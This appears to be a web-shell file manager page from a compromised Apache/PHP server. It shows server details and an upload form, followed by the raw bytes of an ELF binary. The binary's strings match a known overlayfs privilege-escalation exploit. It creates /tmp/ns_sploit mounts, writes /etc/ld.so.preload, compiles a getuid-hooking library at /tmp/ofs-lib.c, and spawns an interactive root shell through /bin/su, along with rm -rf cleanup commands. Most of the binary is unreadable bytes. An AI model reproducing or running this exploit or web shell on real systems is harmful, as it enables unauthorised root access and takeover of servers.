|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > @ : @ 8
@ @ @ @
1 1 - = = 0- 0= 0= 8 8 8 0 0 h h h D D Std 8 8 8 0 0 Ptd x% x% x% < < Qtd Rtd - = = /lib64/ld-linux-x86-64.so.2 GNU GNU oQF0FX GNU em9 $ = 6 7 I P l w V r C g [ " ` @ chdir __cxa_finalize usleep rename __libc_start_main umount clone execl system close open fork stderr wait chmod exit waitpid unshare fwrite __stack_chk_fail mkdir libc.so.6 GLIBC_2.4 GLIBC_2.2.5 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable ii
ui = (= ` @ @ ? ? ?
? ? @ 8? @? H? P? X? `? h? p?
x? ? ? ? ? ? ? ? ? ? ? ? HH/ HtH 5/ %/ h h h h h h h h q h a h Q h
A h 1 h ! h
h h h h h h %}. D %- D %- D %- D %- D %- D %- D %}- D %u- D %m- D %e- D %]- D %U- D %M- D %E- D %=- D %5- D %-- D %%- D % - D %- D 1I^HHPTE11H=; , f. H=- H- H9tH, Ht H=, H5, H)HH?HHHtH, Htf D =, u+UH=, Ht H=, d, ] w UHH H}HH H8 HJ H HE H HE H| HF HhH, H H4 H5L6 HH_ HH HHU Hc LL HH/ HH HH H)t-Hn+ H0 Hj HH HE Hz H) H HEHK HHEHp HH'Hl HH HYH* H H< HL7 HH0 HH
HH& H4tTL1 HH HH
HH
Ht
H} H, H HHG
H UHH@}HudH%( HE1E H) H H H
5E} )t#H) H$ H HE} uvH5}) E HHǸ E} y-H/) H% H{ HcIHM܋E HΉǸ HM܋E HΉǸ O H( H H H H HǸ E}u-Hd( H H
H~H7( H H
HkH( H H
HH A H
HǸ EE캢 H
HΉ^EH] HE} t-H' H Hq HE H
q HΉE<Hm H H~ HHw HǸ z HUdH+%( t HH rm -rf /tmp/ns_sploit /tmp/ns_sploit /tmp/ns_sploit/work /tmp/ns_sploit/upper /tmp/ns_sploit/o mount #1
lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper overlayfs overlay lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work no FS_USERNS_MOUNT for overlayfs on this kernel
.access /tmp/ns_sploit/work/work ns_last_pid ld.so.preload / mount #2
lowerdir=/tmp/ns_sploit/upper,upperdir=/etc lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work /tmp/ns_sploit/o/ld.so.preload spawning threads
failed to create new user namespace
failed to create new mount namespace
child threads done
/etc/ld.so.preload exploit failed
/etc/ld.so.preload created
creating shared library
/tmp/ofs-lib.c #include <unistd.h>
uid_t(*_real_getuid) (void);
char path[128];
uid_t
getuid(void)
{
_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
readlink("/proc/self/exe", (char *) &path, 128);
if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execle("/bin/sh", "sh", "-i", NULL, NULL);
}
return _real_getuid();
}
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w couldn't create dynamic library
/tmp/ofs-lib.so
rm -rf /tmp/ns_sploit /tmp/ofs-lib.c su /bin/su ;< p HX 1 zR x & D $ 4 0P FJ w ?:*3$" \ X t P@ aq EC
h EC
`
$ = (= o `
? o o o o v o 0= 0 @ P ` p 0 @ P ` @ GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0 3 ` I (@ U (= | = @@ q & 0= x% ? # @ ? Q c v @ $ d @ @ @@ & $ @ 0 5 G [ l @ "
1 @ Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry 37292.c child_stack child_exec __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_start_main@GLIBC_2.34 _ITM_deregisterTMCloneTable mkdir@GLIBC_2.2.5 clone@GLIBC_2.2.5 umount@GLIBC_2.2.5 unshare@GLIBC_2.4 _edata _fini chdir@GLIBC_2.2.5 __stack_chk_fail@GLIBC_2.4 system@GLIBC_2.2.5 close@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used _end __bss_start main chmod@GLIBC_2.2.5 waitpid@GLIBC_2.2.5 open@GLIBC_2.2.5 rename@GLIBC_2.2.5 exit@GLIBC_2.2.5 fwrite@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable execl@GLIBC_2.2.5 wait@GLIBC_2.2.5 __cxa_finalize@GLIBC_2.2.5 _init fork@GLIBC_2.2.5 usleep@GLIBC_2.2.5 stderr@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment # 8 8 0 6 h h $ I W o ( a i ` ` q o v v 6 ~ o @ B P p p @ a $ $
x x% x% < % % = - (= (- 0= 0- ? / @ 0 @ 0 0 0 + @0 p 5 D 8